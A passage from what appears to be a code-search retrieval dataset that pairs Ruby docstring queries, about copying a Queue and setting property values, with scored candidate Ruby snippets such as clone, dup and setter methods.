"text": "def kochleft\n v = finish - start\n v /= 3\n v + start\n end",
"title": ""
},
{
"docid": "f34d2ebb4bcf67384dd8efb861de50ad",
"score": "0.53605443",
"text": "def count_ways_up_stairs(steps)\n return 0 if steps < 0\n return steps if steps <= 2\n\n paths = []\n paths[0] = 1\n paths[1] = 1\n paths[2] = 2\n\n (3...steps).each do |i|\n count = paths[0] + paths[1] + paths[2]\n paths[0] = paths[1]\n paths[1] = paths[2]\n paths[2] = count\n end\n\n paths[2]\nend",
"title": ""
},
{
"docid": "d43b1a4baf4589b146f62787a5195591",
"score": "0.5357161",
"text": "def test_swp_swaps_top_2_items_on_stack\n @bc.codes = [:pushl, 0, :pushl, 1, :swp, :halt]\n @ci.run\n assert_eq @ctx.stack, [1, 0]\n end",
"title": ""
}
] |
86db732410d2c574e4973394d5f9ddb4
|
Public: Creates a copy of this Queue. Returns the copy of this Queue.
|
[
{
"docid": "e9bd29898fea12fa9f2e17e4a7ceabb3",
"score": "0.0",
"text": "def show\n self.dup\n end",
"title": ""
}
] |
[
{
"docid": "f55989cb3d1c4a0780a7544ba38c4b54",
"score": "0.8014784",
"text": "def dup\n copy = Queue.new\n copy.size = @size\n copy.elements = @elements\n copy\n end",
"title": ""
},
{
"docid": "9eecdb3a316bea40fce461fb81b7d31d",
"score": "0.68715227",
"text": "def copy\n\t\t\treturn self.dup\n\t\tend",
"title": ""
},
{
"docid": "fa5f211595b70fcb875da1d0f2c825b8",
"score": "0.67985374",
"text": "def clone\n self.copy\n end",
"title": ""
},
{
"docid": "fa5f211595b70fcb875da1d0f2c825b8",
"score": "0.67985374",
"text": "def clone\n self.copy\n end",
"title": ""
},
{
"docid": "d21fd07a6f404434857476e51896de6f",
"score": "0.66132694",
"text": "def clone\n self\n end",
"title": ""
},
{
"docid": "47144b0fa821451363e98d2ae30e1302",
"score": "0.6483994",
"text": "def copy\n ret = self.class.new\n channel_data.each do |datum|\n ret.channel_data << datum.dup\n end\n ret\n end",
"title": ""
},
{
"docid": "0e1dcb1110e50d392fc6151e3c2cfa7f",
"score": "0.64557815",
"text": "def copy\n dup\n end",
"title": ""
},
{
"docid": "935f8a8da54c1ae0cb9ec6eb31575676",
"score": "0.6405657",
"text": "def dup\n self.class.new.tap { |obj| reverse_dup_copy obj }\n end",
"title": ""
},
{
"docid": "d45e5205e7012345156b341dd4d9550c",
"score": "0.6380543",
"text": "def clone\n q = super\n q.attrs = self.attrs.clone\n return q\n end",
"title": ""
},
{
"docid": "8526564778c630f7d81f76b9d2768cb1",
"score": "0.63498294",
"text": "def _clone\n self.class.new(self)\n end",
"title": ""
},
{
"docid": "137877e33942bb50bec63d6747a3a7a8",
"score": "0.6245919",
"text": "def queue\n @queue ||= SizedQueue.new @queue_size\n end",
"title": ""
},
{
"docid": "eeb238ab197372ea55434f94ca67fac5",
"score": "0.6236779",
"text": "def clone\n bag_clone = Bag.new\n bag_clone.copy_all(self)\n bag_clone\n end",
"title": ""
},
{
"docid": "ddbc0bb2fa58374d3eaa63d8287fe6b6",
"score": "0.6234095",
"text": "def Queue\n def initialize\n @q = []\n end\n\n def enqueue(el)\n @q.push(el)\n end\n\n def dequeue\n @q.shift\n end\n\n def show\n @q.dup\n end\nend",
"title": ""
},
{
"docid": "2e926e8591299517a505be54cd1ece13",
"score": "0.6205397",
"text": "def clone\n dup\n end",
"title": ""
},
{
"docid": "351d6d702ca7cf265cbaad591781283a",
"score": "0.6180752",
"text": "def clone\n copy(false)\n end",
"title": ""
},
{
"docid": "dff8fbdb0fc858a53a97c76c6c624001",
"score": "0.6180177",
"text": "def clone\n Marshal.load(Marshal.dump(self))\n end",
"title": ""
},
{
"docid": "dff8fbdb0fc858a53a97c76c6c624001",
"score": "0.6180177",
"text": "def clone\n Marshal.load(Marshal.dump(self))\n end",
"title": ""
},
{
"docid": "dff8fbdb0fc858a53a97c76c6c624001",
"score": "0.6180177",
"text": "def clone\n Marshal.load(Marshal.dump(self))\n end",
"title": ""
},
{
"docid": "dff8fbdb0fc858a53a97c76c6c624001",
"score": "0.6180177",
"text": "def clone\n Marshal.load(Marshal.dump(self))\n end",
"title": ""
},
{
"docid": "dff8fbdb0fc858a53a97c76c6c624001",
"score": "0.6180177",
"text": "def clone\n Marshal.load(Marshal.dump(self))\n end",
"title": ""
},
{
"docid": "4fccb0c41eace048b0fe57608cad942a",
"score": "0.61797345",
"text": "def clone\n other = dup\n other.freeze if self.frozen?\n other\n end",
"title": ""
},
{
"docid": "9f81f1348eddc2951f139cfc6a5598e0",
"score": "0.61509806",
"text": "def clone\n self\n end",
"title": ""
},
{
"docid": "1331cb8c5402665d580ef793aa9c34de",
"score": "0.6148514",
"text": "def dup\n self\n end",
"title": ""
},
{
"docid": "1331cb8c5402665d580ef793aa9c34de",
"score": "0.6148514",
"text": "def dup\n self\n end",
"title": ""
},
{
"docid": "1331cb8c5402665d580ef793aa9c34de",
"score": "0.6148514",
"text": "def dup\n self\n end",
"title": ""
},
{
"docid": "8860a3f61f860db3f4211ffcad7cfad2",
"score": "0.61359954",
"text": "def dup\n copy(false)\n end",
"title": ""
},
{
"docid": "882cdc4915dc80049a943cdcd028e496",
"score": "0.61275715",
"text": "def clone\n self.class.new(@parent, @position)\n end",
"title": ""
},
{
"docid": "9287e4d8e83ff48c8ce1bf7ba6ef64ff",
"score": "0.61148787",
"text": "def clone\n return Marshal.load(Marshal.dump(self))\n end",
"title": ""
},
{
"docid": "f9b11d17a3ab5b508726e78d4af578f3",
"score": "0.611315",
"text": "def clone\n o = dup\n o.freeze if frozen?\n o\n end",
"title": ""
},
{
"docid": "0926f2f8ff2e631d24c6c0792c37ba76",
"score": "0.6109239",
"text": "def copy\n Marshal.load(Marshal.dump(self))\n end",
"title": ""
},
{
"docid": "1110b2f45963338c46ec1208736fdea9",
"score": "0.6094593",
"text": "def clone\n # Do not implement in terms of dup. It breaks rails.\n #\n cls = Rubinius.invoke_primitive :object_class, self\n copy = cls.allocate\n\n Rubinius.invoke_primitive :object_copy_object, copy, self\n Rubinius.invoke_primitive :object_copy_singleton_class, copy, self\n\n Rubinius.privately do\n copy.initialize_copy self\n end\n\n copy.freeze if frozen?\n copy\n end",
"title": ""
},
{
"docid": "74752d7882e20019b33a487daa6bb7cf",
"score": "0.60901904",
"text": "def frozen_copy\n if frozen?\n self\n else\n dup.freeze\n end\n end",
"title": ""
},
{
"docid": "11b91172b8395f3f78bf34713719207a",
"score": "0.6079267",
"text": "def clone\n @clone ||= super\n end",
"title": ""
},
{
"docid": "82b2aef880f331d31aa6f6f14391a059",
"score": "0.60454214",
"text": "def dup\n copy = Rubinius.invoke_primitive(:object_class, self).allocate\n\n Rubinius.invoke_primitive :object_copy_object, copy, self\n\n Rubinius.privately do\n copy.initialize_copy self\n end\n copy\n end",
"title": ""
},
{
"docid": "f237071bbe4f099ccdb530a1f8cd70b0",
"score": "0.598193",
"text": "def clone\n other = dup\n other.freeze if frozen?\n other\n end",
"title": ""
},
{
"docid": "c260ae483d11c7425f7921cd7bea62a9",
"score": "0.592291",
"text": "def dup\n clone\n end",
"title": ""
},
{
"docid": "fcd0e432816059b74a4ca3d2d1fac3f1",
"score": "0.59145576",
"text": "def clone\n Marshal.load(Marshal.dump self)\n end",
"title": ""
},
{
"docid": "b4735b4ed7a935069e8b77ac0d4de494",
"score": "0.5889832",
"text": "def duplicate\n dup_frames = @msg_frames.map {|frame| frame.dup}\n ZMQ::StringMultipartMessage.new(dup_frames)\n end",
"title": ""
},
{
"docid": "3ed4c003686c7bb72cf4bfe6bdc1afa5",
"score": "0.584229",
"text": "def copy\n self.class.new.tap do |obj|\n self.each_pair do |key, val|\n obj.set(key => (val.is_a?(Array) or val.is_a?(Hash)) ? val.clone : val)\n end\n end\n end",
"title": ""
},
{
"docid": "3ed4c003686c7bb72cf4bfe6bdc1afa5",
"score": "0.584229",
"text": "def copy\n self.class.new.tap do |obj|\n self.each_pair do |key, val|\n obj.set(key => (val.is_a?(Array) or val.is_a?(Hash)) ? val.clone : val)\n end\n end\n end",
"title": ""
},
{
"docid": "b8669ba3e89dab6dc51bd44afc882020",
"score": "0.5837363",
"text": "def clone\n super\n end",
"title": ""
},
{
"docid": "dc181dc666a1f052ab5700e849c22ca2",
"score": "0.58334017",
"text": "def make_copy\n\t\t\tMarshal.load(Marshal.dump(self))\n\t\tend",
"title": ""
},
{
"docid": "d6edb11c3fad2803acf84fa43234d86b",
"score": "0.58246726",
"text": "def clone\n obj = super\n elements = @elements.clone\n obj.instance_eval { @elements = elements }\n return obj\n end",
"title": ""
},
{
"docid": "3a81a298cad8d9bb27b9e39fd366b39f",
"score": "0.5820097",
"text": "def dup\n result = self.class.new(dimension, geometric_resolution, order)\n result.send(:initialize_copy, self)\n result\n end",
"title": ""
},
{
"docid": "8da003843f627f1a8d4e26716440096c",
"score": "0.5819074",
"text": "def dup\n self.class.new(@bandwidth)\n end",
"title": ""
},
{
"docid": "cdc5478191fe029b9cc42e100e003e4b",
"score": "0.58079326",
"text": "def queue\n @queue ||= Queue.new\n end",
"title": ""
},
{
"docid": "20e29a0d6ab8e910eefd8d72867633aa",
"score": "0.5793975",
"text": "def duplicate\n dup_frames = @msg_frames.map {|frame| frame.duplicate}\n ZMQ::RawMultipartMessage.new(dup_frames)\n end",
"title": ""
},
{
"docid": "93ae192547518417c389dc82cd835c4f",
"score": "0.57930285",
"text": "def pop()\n new_queue = Queue.new\n until @queue.size == 1\n new_queue << @queue.pop\n end\n last = @queue.pop\n @queue = new_queue\n last\n end",
"title": ""
},
{
"docid": "2a70fc47dc884956928285679725365d",
"score": "0.5760683",
"text": "def deepcopy\n\t\tMarshal.load(Marshal.dump(self))\n\tend",
"title": ""
},
{
"docid": "62f4a20622edbb5df0d66b43b20f82a8",
"score": "0.5722213",
"text": "def deep_copy\n QueryList.new(queries.map {|q| q.deep_copy})\n end",
"title": ""
},
{
"docid": "62f4a20622edbb5df0d66b43b20f82a8",
"score": "0.5722213",
"text": "def deep_copy\n QueryList.new(queries.map {|q| q.deep_copy})\n end",
"title": ""
},
{
"docid": "7391972027099ea0666e0ebd132eb900",
"score": "0.56686413",
"text": "def clone\n return Rect.new(self.x, self.y, self.width, self.height)\n end",
"title": ""
},
{
"docid": "f2d13d6d1892a7b84cecc0db20dd2625",
"score": "0.5654066",
"text": "def clone\n self.class.new(raw.clone)\n end",
"title": ""
},
{
"docid": "554d2e70fbb94a958d8620f261742bca",
"score": "0.56464994",
"text": "def queue\n JenkinsApi::Client::BuildQueue.new(self)\n end",
"title": ""
},
{
"docid": "554d2e70fbb94a958d8620f261742bca",
"score": "0.56464994",
"text": "def queue\n JenkinsApi::Client::BuildQueue.new(self)\n end",
"title": ""
},
{
"docid": "493a89f608c361c7b686b7c1ca35882e",
"score": "0.5641819",
"text": "def to_a\n @que.dup\n end",
"title": ""
},
{
"docid": "3297f160c4a458a10430910888a52bbf",
"score": "0.5629715",
"text": "def dup\n returning self.class.new do |resource|\n resource.attributes = @attributes\n end\n end",
"title": ""
},
{
"docid": "d97c5d42596f0243be38b192440b7bfe",
"score": "0.5607898",
"text": "def dup\n self.class.new(color, board, pos)\n end",
"title": ""
},
{
"docid": "2833ef18fd233bba4b012c3efb13bd22",
"score": "0.56057304",
"text": "def clone\n super\n end",
"title": ""
},
{
"docid": "8a17c1af6ca6682012274e731982607c",
"score": "0.5599942",
"text": "def board_copy\n return Board.new(@board.state)\n end",
"title": ""
},
{
"docid": "440e1bc234b4b4d714d687b81f914d70",
"score": "0.5598652",
"text": "def copy\n move(:copy)\n end",
"title": ""
},
{
"docid": "d4c200a98f49868e3e86e48c0ab46028",
"score": "0.55897754",
"text": "def deep_copy\n Marshal.load(Marshal.dump(self))\n end",
"title": ""
},
{
"docid": "d4c200a98f49868e3e86e48c0ab46028",
"score": "0.55897754",
"text": "def deep_copy\n Marshal.load(Marshal.dump(self))\n end",
"title": ""
},
{
"docid": "a550b5b2019df67027c80b5e34efa508",
"score": "0.55843633",
"text": "def copy\n obj = self.dup\n obj.attributes = {\n :name => \"Copy of #{name}\",\n :active => false,\n :created_at => nil,\n :updated_at => nil\n }\n obj\n end",
"title": ""
},
{
"docid": "8be7dc2e560b9ff7e9effc1b52c3fb96",
"score": "0.5582752",
"text": "def dup\n copy = super\n copy.clear_puzzle\n @puzzle.each_with_index do |entry, index|\n copy[index] = entry\n end\n copy\n end",
"title": ""
},
{
"docid": "662f0bb3a292102bfcdfeb5fc7d2b241",
"score": "0.55813086",
"text": "def clone()\n\t\ttemp = LinkedList.new()\n\t\tcurrent = @head\n\t\twhile (current)\n\t\t\ttemp.append(current.get_item())\n\t\t\tcurrent = current.get_next()\n\t\tend\n\t\treturn temp;\n\tend",
"title": ""
},
{
"docid": "d2bec7ddbe5b92f67da466201cbc5adc",
"score": "0.55772775",
"text": "def chan(len = 1)\n SizedQueue.new(len)\n end",
"title": ""
},
{
"docid": "6001800646dd4dc89a9454b3e79fcb8d",
"score": "0.5576458",
"text": "def dup\n self.class.new nil, @opts, &@block\n end",
"title": ""
},
{
"docid": "bc7d2b2caa0a306d30a2b942c5ae21b2",
"score": "0.55628043",
"text": "def copy()\n shape = Shape.new(@type)\n 1.upto(@squares.length-1) do |index|\n shape.add_square(@squares[index].copy)\n end\n return shape\n end",
"title": ""
},
{
"docid": "194e738b734054d08ee6c1799cba633c",
"score": "0.5559768",
"text": "def dup( )\n\t\t\tMarshal.load(Marshal.dump(self))\n\t\tend",
"title": ""
},
{
"docid": "3238d9f1c7e47b51b785a9cbdfcd792b",
"score": "0.55580443",
"text": "def initialize\n @queue = []\n end",
"title": ""
},
{
"docid": "f0c6681885a11e53e3240c5df541da50",
"score": "0.5556618",
"text": "def queue\n pending_duplicate_job || Delayed::Job.enqueue(self)\n end",
"title": ""
},
{
"docid": "823dc24d2f143bb30cd6668d695e51bd",
"score": "0.5555126",
"text": "def initialize_copy(*)\n @cache = @cache.dup\n @entries = @entries.dup\n end",
"title": ""
},
{
"docid": "92aa7ae868553fde031ba989c89509b5",
"score": "0.5541424",
"text": "def dup\n push @stack.last unless @stack.last.nil?\n end",
"title": ""
},
{
"docid": "4fd70412645b2730ea48b568718e3cbb",
"score": "0.55301666",
"text": "def deep_copy\r\n Marshal.load(Marshal.dump(self))\r\n end",
"title": ""
},
{
"docid": "177a3ca5ca9d4f8d0605723cad6fe4b3",
"score": "0.55193144",
"text": "def dup\n push stack.last\n end",
"title": ""
},
{
"docid": "6d2537031c2667c54e9f580896f78ba0",
"score": "0.5516441",
"text": "def copy\n GameObject.new(@animation.dup, @pos.dup)\n end",
"title": ""
},
{
"docid": "876e0de79058a8ae43e4982a32275845",
"score": "0.5515647",
"text": "def dup\n self.class.new(options)\n end",
"title": ""
},
{
"docid": "093f5a563c025ea738045f448bd2e50f",
"score": "0.5514889",
"text": "def build_queue(queue_name)\n QC::Queue.new(queue_name)\n end",
"title": ""
},
{
"docid": "53a655d700ada03f9bace4fcbde53db7",
"score": "0.551351",
"text": "def deep_copy\n Marshal.load(Marshal.dump(self))\n end",
"title": ""
},
{
"docid": "43e6f0964abd46368b8110faf8217b8a",
"score": "0.55131435",
"text": "def clone\n @clone = true\n end",
"title": ""
},
{
"docid": "e870f077b8aa81562795dbe49450c92c",
"score": "0.551176",
"text": "def clone\n end",
"title": ""
},
{
"docid": "7d322ab311f2e479180e505cab3e63d9",
"score": "0.55066484",
"text": "def dup\n self.class.new(\n length: @length,\n genes: @genes.dup\n )\n end",
"title": ""
},
{
"docid": "1259bec764855ecc413711b45b0ab257",
"score": "0.54988337",
"text": "def clone; end",
"title": ""
},
{
"docid": "1259bec764855ecc413711b45b0ab257",
"score": "0.54988337",
"text": "def clone; end",
"title": ""
},
{
"docid": "1259bec764855ecc413711b45b0ab257",
"score": "0.54988337",
"text": "def clone; end",
"title": ""
},
{
"docid": "7002abfeae1f0e527f5d1b0c9a33286c",
"score": "0.5498723",
"text": "def clone\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "d25fd57354384c078afbf289ce16a44a",
"score": "0.549759",
"text": "def clone\n return self.class.new(RAtlas::clone(@storage))\n end",
"title": ""
},
{
"docid": "f193fe09970660637e8ddd329b61517d",
"score": "0.5483664",
"text": "def deep_copy\n Marshal.load(Marshal.dump(self))\n end",
"title": ""
},
{
"docid": "a19051fe085d04b6c43fedd5339f1133",
"score": "0.5481676",
"text": "def push(v)\n @que << v\n reheap(@que.size-1)\n self\n end",
"title": ""
},
{
"docid": "b86eede59fefcce8afaa48411e6134b9",
"score": "0.54793257",
"text": "def dup\n copy = super\n @grid = @grid.dup\n copy\n end",
"title": ""
},
{
"docid": "d6630007a7a47ce432cc2ad7e81999fc",
"score": "0.54650253",
"text": "def queue() = @queue ||= CommandQueue.new",
"title": ""
},
{
"docid": "afdf4549bdfd2a374dc8e18310e22217",
"score": "0.5459368",
"text": "def clone\n ret = self.deep_copy\n ret.register if self.registered\n ret\n end",
"title": ""
},
{
"docid": "3e686dd719d751c39828bf8269aea262",
"score": "0.54517895",
"text": "def dup\n\t\t\traise EmptyStackError, \"Empty stack\" if STACK.empty?\n\t\t\tpush STACK.last\n\t\tend",
"title": ""
},
{
"docid": "c9ea05b7bbea48793f9d8a379449bdd1",
"score": "0.5451569",
"text": "def dup; return self.class.new(RAtlas::dup(@storage)); end",
"title": ""
},
{
"docid": "7501d27101ff5ec7f766a75210a81a33",
"score": "0.5451448",
"text": "def queue\n @queue ||= produce_queue\n end",
"title": ""
},
{
"docid": "44488b24e6ff6da40f0f5d558cb7df70",
"score": "0.54463935",
"text": "def queue(&b)\n @queue << b\n end",
"title": ""
},
{
"docid": "aac0284a2eb603f007d8ac8161d1427d",
"score": "0.5439567",
"text": "def dup\n result = self.class.new(geometric_resolution, order)\n result.initialize_copy(self)\n result\n end",
"title": ""
},
{
"docid": "b5114e82c491806483cb9f858c0b4758",
"score": "0.54346865",
"text": "def initialize()\n @queue = Queue.new\n end",
"title": ""
},
{
"docid": "0b51a90d424b7b040476c6692cf7a1e4",
"score": "0.5429169",
"text": "def dup\n Marshal::load(Marshal.dump(self))\n end",
"title": ""
},
{
"docid": "5f4211b764cc9bf5d6f8206a50fbb53e",
"score": "0.5425843",
"text": "def clone\n # This is an easy fix to ruby's shameful lack of deep_copy.\n # Marshall.dump transforms any object in a string that can later be decoded to\n # yield the object back. This way, you get a deepcopy of the given object.\n # Easy but dirty.\n return Marshal.load( Marshal.dump(self) )\n end",
"title": ""
}
] |
9ad436dcee22b68e9ac11a7985062606
|
Sets the properties property value. Property values of the test object.
|
[
{
"docid": "51a59f953548d1eff10532bdffdd8df9",
"score": "0.762683",
"text": "def properties=(value)\n @properties = value\n end",
"title": ""
}
] |
[
{
"docid": "ec2cf9748f851781405bf9687a3d1f28",
"score": "0.7009998",
"text": "def set_properties(properties)\n @properties = properties\n end",
"title": ""
},
{
"docid": "ec2cf9748f851781405bf9687a3d1f28",
"score": "0.7009998",
"text": "def set_properties(properties)\n @properties = properties\n end",
"title": ""
},
{
"docid": "0aa9f67a90f27a7d1f28df50a6b192f7",
"score": "0.69622207",
"text": "def props=(properties)\n fail 'not implemented'\n end",
"title": ""
},
{
"docid": "0aa9f67a90f27a7d1f28df50a6b192f7",
"score": "0.69622207",
"text": "def props=(properties)\n fail 'not implemented'\n end",
"title": ""
},
{
"docid": "523c6bac2ab74c1646daa94d8222966e",
"score": "0.69581056",
"text": "def set(prop, value)\n prop = prop.to_s\n property ||= self.properties.find_by_name(prop)\n property ||= Property.new(:name => prop, :prototype => self)\n property.value = value\n property.save\n end",
"title": ""
},
{
"docid": "e0557372211c66c1e9221cb4226ed79a",
"score": "0.69527304",
"text": "def set(property, value)\n property = property.to_s\n @properties[property] = value\n end",
"title": ""
},
{
"docid": "97f32ba8739c3fcb003e875ae38be50d",
"score": "0.69499093",
"text": "def set_property\n @properties = Property.all\n end",
"title": ""
},
{
"docid": "4c0a93947901855680afb0d228c50122",
"score": "0.69178724",
"text": "def properties=(value)\n if value == @defaults['properties']\n @values.delete 'properties' if @values.key? 'properties'\n else\n @values['properties'] = value\n end\n end",
"title": ""
},
{
"docid": "4c0a93947901855680afb0d228c50122",
"score": "0.69178724",
"text": "def properties=(value)\n if value == @defaults['properties']\n @values.delete 'properties' if @values.key? 'properties'\n else\n @values['properties'] = value\n end\n end",
"title": ""
},
{
"docid": "4c0a93947901855680afb0d228c50122",
"score": "0.69178724",
"text": "def properties=(value)\n if value == @defaults['properties']\n @values.delete 'properties' if @values.key? 'properties'\n else\n @values['properties'] = value\n end\n end",
"title": ""
},
{
"docid": "4c0a93947901855680afb0d228c50122",
"score": "0.69178724",
"text": "def properties=(value)\n if value == @defaults['properties']\n @values.delete 'properties' if @values.key? 'properties'\n else\n @values['properties'] = value\n end\n end",
"title": ""
},
{
"docid": "c8f899006a59f24a112a791341aaf3d2",
"score": "0.68853855",
"text": "def set(property, value)\n @properties[property.to_s] = value\n end",
"title": ""
},
{
"docid": "bc82df5ee3f08dcbc354c3342c294c3b",
"score": "0.6881701",
"text": "def set_property(property, value)\n update_attributes property => value\n end",
"title": ""
},
{
"docid": "a24d097886524418a5ff2ec0ed15ea90",
"score": "0.68263745",
"text": "def property=(value)\n @property = value\n end",
"title": ""
},
{
"docid": "0301a9eaff56fd11868e3cefa159ac34",
"score": "0.67662966",
"text": "def set_property(property, value)\n send(\"#{property}=\", value)\n end",
"title": ""
},
{
"docid": "3ce32b59e5addbeffd471f1a921bcedd",
"score": "0.67630374",
"text": "def set(property, value)\n @properties[property.to_sym] = value\n end",
"title": ""
},
{
"docid": "aca0b70d96e850852b03a60f2679f9a0",
"score": "0.6703191",
"text": "def set(values={})\n values.each {|name, value| set_property(name, value)}\n end",
"title": ""
},
{
"docid": "b46561f2557bdc4c89a0ba585b24aaaa",
"score": "0.6671361",
"text": "def set_property(name, value)\n @properties[name] = value\n end",
"title": ""
},
{
"docid": "2c819f6f73e6e4885b42c0c8c0e1f844",
"score": "0.66702443",
"text": "def set_property(property, value)\n if property == '_links' || property == '_embedded'\n raise ArgumentError, \"Argument #{property} is a reserved property\"\n end\n\n tap { @properties[property] = value }\n end",
"title": ""
},
{
"docid": "3c73d1330036d877a5c9af28c3bdeb93",
"score": "0.66625464",
"text": "def set(name, value)\n @properties[name] = value\n end",
"title": ""
},
{
"docid": "862f7aa179e3e1751693f78772c09a99",
"score": "0.6658557",
"text": "def assign_properties(properties); end",
"title": ""
},
{
"docid": "9436c9b6dee4eae493d3a809dc2e2bf0",
"score": "0.66137826",
"text": "def value=(new_value)\n @properties[\"value\"] = new_value\n end",
"title": ""
},
{
"docid": "25f42763d7072537addae9ee3054bee3",
"score": "0.65922385",
"text": "def set_property(name, value)\n puts \"Debug 2: setting property #{name}:#{value}\"\n super(name)\n end",
"title": ""
},
{
"docid": "269e52b99635e16c41b231661c84cf36",
"score": "0.657473",
"text": "def setter=(property)\n end",
"title": ""
},
{
"docid": "ed3df237925199a292839c3f97f93f3e",
"score": "0.6566841",
"text": "def set_property(name,value)\n VAPI::Util.check_type(self, 'name', name, String)\n VAPI::Util.check_type(self, 'value', value, String)\n @props[name] = value\n self # enable method chaining\n end",
"title": ""
},
{
"docid": "0332c35d52754b852f438e22a45c01f8",
"score": "0.6558813",
"text": "def properties=(properties)\n @properties = properties\n @properties.element = self\n end",
"title": ""
},
{
"docid": "adeebc24eb06015e7354a5bc7788c36b",
"score": "0.65409577",
"text": "def assign_property(name, value); end",
"title": ""
},
{
"docid": "14a4d159c005ffb7a022c3b76cc7e3bb",
"score": "0.6539359",
"text": "def set_property_value\n @property_value = Shop::PropertyValue.find(params[:id])\n end",
"title": ""
},
{
"docid": "00602e677a254f87438eae8c195bda11",
"score": "0.6535329",
"text": "def set_PropertyValue(value)\n set_input(\"PropertyValue\", value)\n end",
"title": ""
},
{
"docid": "00602e677a254f87438eae8c195bda11",
"score": "0.6535329",
"text": "def set_PropertyValue(value)\n set_input(\"PropertyValue\", value)\n end",
"title": ""
},
{
"docid": "1b2112c537c89c997a28f7f4288afd42",
"score": "0.6511751",
"text": "def property_set(name, value)\n ensure_property name\n public_send \"#{name}=\", value\n end",
"title": ""
},
{
"docid": "3f37a395a6644fcb6f56b450976dea53",
"score": "0.6481702",
"text": "def setProperty(name, value)\n end",
"title": ""
},
{
"docid": "30b30113f478277d0d9b529060e042f2",
"score": "0.64783454",
"text": "def set_property\n @property = Property.find(params[:property_id])\n end",
"title": ""
},
{
"docid": "3f8b31cd47953a8801923bc178cd0ace",
"score": "0.6476446",
"text": "def set_properties(java_obj, properties)\n JavaPropertySetter.new(java_obj).set_properties_from_array(properties)\n end",
"title": ""
},
{
"docid": "91cad9be6e42fbfb67b5c8f9eaa31751",
"score": "0.6475775",
"text": "def value=(should)\n @property_hash[:value] = should\n end",
"title": ""
},
{
"docid": "baed79ba6c027b36bc3b98e452cdf12b",
"score": "0.6457899",
"text": "def assign_properties(properties)\n properties.each do |name, value|\n instance_variable_set :\"@#{name}\", value\n end\n\n nil\n end",
"title": ""
},
{
"docid": "2bf1267405b457e4787473765046eff1",
"score": "0.64520913",
"text": "def set_properties(properties, overwrite)\n check_properties_type(properties)\n for name in properties.keys\n expression = properties[name]\n set_property(name, expression, overwrite)\n end\n end",
"title": ""
},
{
"docid": "ced529ccccf240e573366152a56b9214",
"score": "0.63993835",
"text": "def exrule_property=(*property_values)\n @exrule_property= property_values\n end",
"title": ""
},
{
"docid": "a7dacef30a125ded5d14c3318aef7e2e",
"score": "0.63901",
"text": "def set_property\n @property = Property.find(params[:id])\n end",
"title": ""
},
{
"docid": "a7dacef30a125ded5d14c3318aef7e2e",
"score": "0.63901",
"text": "def set_property\n @property = Property.find(params[:id])\n end",
"title": ""
},
{
"docid": "a7dacef30a125ded5d14c3318aef7e2e",
"score": "0.63901",
"text": "def set_property\n @property = Property.find(params[:id])\n end",
"title": ""
},
{
"docid": "a7dacef30a125ded5d14c3318aef7e2e",
"score": "0.63901",
"text": "def set_property\n @property = Property.find(params[:id])\n end",
"title": ""
},
{
"docid": "59b5350123ef31e3c0e6e67e90a5bce1",
"score": "0.6385177",
"text": "def []=(property, value)\n assert_property_required! property, value\n assert_property_exists! property\n super(property, value)\n end",
"title": ""
},
{
"docid": "2d80c977010178f081c724eaab3a4a62",
"score": "0.6381625",
"text": "def set_property\n @property = Property.find(params[:id])\n end",
"title": ""
},
{
"docid": "2d80c977010178f081c724eaab3a4a62",
"score": "0.6381625",
"text": "def set_property\n @property = Property.find(params[:id])\n end",
"title": ""
},
{
"docid": "2d80c977010178f081c724eaab3a4a62",
"score": "0.6381625",
"text": "def set_property\n @property = Property.find(params[:id])\n end",
"title": ""
},
{
"docid": "2d80c977010178f081c724eaab3a4a62",
"score": "0.6381625",
"text": "def set_property\n @property = Property.find(params[:id])\n end",
"title": ""
},
{
"docid": "2d80c977010178f081c724eaab3a4a62",
"score": "0.6381625",
"text": "def set_property\n @property = Property.find(params[:id])\n end",
"title": ""
},
{
"docid": "2d80c977010178f081c724eaab3a4a62",
"score": "0.6381625",
"text": "def set_property\n @property = Property.find(params[:id])\n end",
"title": ""
},
{
"docid": "2d80c977010178f081c724eaab3a4a62",
"score": "0.6381625",
"text": "def set_property\n @property = Property.find(params[:id])\n end",
"title": ""
},
{
"docid": "2d80c977010178f081c724eaab3a4a62",
"score": "0.6381625",
"text": "def set_property\n @property = Property.find(params[:id])\n end",
"title": ""
},
{
"docid": "2d80c977010178f081c724eaab3a4a62",
"score": "0.6381625",
"text": "def set_property\n @property = Property.find(params[:id])\n end",
"title": ""
},
{
"docid": "2d80c977010178f081c724eaab3a4a62",
"score": "0.6381625",
"text": "def set_property\n @property = Property.find(params[:id])\n end",
"title": ""
},
{
"docid": "2d80c977010178f081c724eaab3a4a62",
"score": "0.6381625",
"text": "def set_property\n @property = Property.find(params[:id])\n end",
"title": ""
},
{
"docid": "2d80c977010178f081c724eaab3a4a62",
"score": "0.6381625",
"text": "def set_property\n @property = Property.find(params[:id])\n end",
"title": ""
},
{
"docid": "2d80c977010178f081c724eaab3a4a62",
"score": "0.6381625",
"text": "def set_property\n @property = Property.find(params[:id])\n end",
"title": ""
},
{
"docid": "2d80c977010178f081c724eaab3a4a62",
"score": "0.6381625",
"text": "def set_property\n @property = Property.find(params[:id])\n end",
"title": ""
},
{
"docid": "2d80c977010178f081c724eaab3a4a62",
"score": "0.6381625",
"text": "def set_property\n @property = Property.find(params[:id])\n end",
"title": ""
},
{
"docid": "2d80c977010178f081c724eaab3a4a62",
"score": "0.6381625",
"text": "def set_property\n @property = Property.find(params[:id])\n end",
"title": ""
},
{
"docid": "2d80c977010178f081c724eaab3a4a62",
"score": "0.6381625",
"text": "def set_property\n @property = Property.find(params[:id])\n end",
"title": ""
},
{
"docid": "2d80c977010178f081c724eaab3a4a62",
"score": "0.6381625",
"text": "def set_property\n @property = Property.find(params[:id])\n end",
"title": ""
},
{
"docid": "2d80c977010178f081c724eaab3a4a62",
"score": "0.6381625",
"text": "def set_property\n @property = Property.find(params[:id])\n end",
"title": ""
},
{
"docid": "2d80c977010178f081c724eaab3a4a62",
"score": "0.6381625",
"text": "def set_property\n @property = Property.find(params[:id])\n end",
"title": ""
},
{
"docid": "2d80c977010178f081c724eaab3a4a62",
"score": "0.6381625",
"text": "def set_property\n @property = Property.find(params[:id])\n end",
"title": ""
},
{
"docid": "2d80c977010178f081c724eaab3a4a62",
"score": "0.6381625",
"text": "def set_property\n @property = Property.find(params[:id])\n end",
"title": ""
},
{
"docid": "2d80c977010178f081c724eaab3a4a62",
"score": "0.6381625",
"text": "def set_property\n @property = Property.find(params[:id])\n end",
"title": ""
},
{
"docid": "2d80c977010178f081c724eaab3a4a62",
"score": "0.6381625",
